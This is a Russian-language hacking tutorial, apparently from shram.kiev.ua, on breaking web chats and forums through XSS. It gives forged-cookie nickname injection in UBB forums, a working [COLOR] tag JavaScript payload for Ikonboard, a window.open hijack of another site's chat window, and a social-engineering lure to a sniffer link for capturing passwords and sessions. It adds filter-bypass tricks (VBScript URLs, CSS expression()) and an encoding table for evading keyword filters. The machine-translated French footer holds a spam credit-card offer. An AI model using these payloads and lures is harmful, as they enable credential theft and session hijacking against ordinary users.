    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) ou background:expression(alert())
    Табличка часто применяемых кодов:
    symbole Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Vous aimez? Abonnez - vous à RSS nouvelles!
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur:

    Ne soyez pas mal à vos amis et trouver cette information, partager avec eux l'article!

    Développer / Réduire Développer / Réduire la boîte de commentaires avec

    Commentaires

    Commentant, gardez à l' esprit que le contenu et le ton de vos messages peuvent blesser les sentiments des gens réels, montrer du respect et de la tolérance à ses interlocuteurs, même si vous ne partagez pas leur avis, votre comportement en termes de liberté d'expression et de l' anonymat offert par Internet, est en train de changer non seulement virtuel, mais dans le monde réel. Tous les commentaires sont cachés à l'index, le contrôle anti - spam.
    Gratuit Carte de crédit avec une limite de 15.000 USD.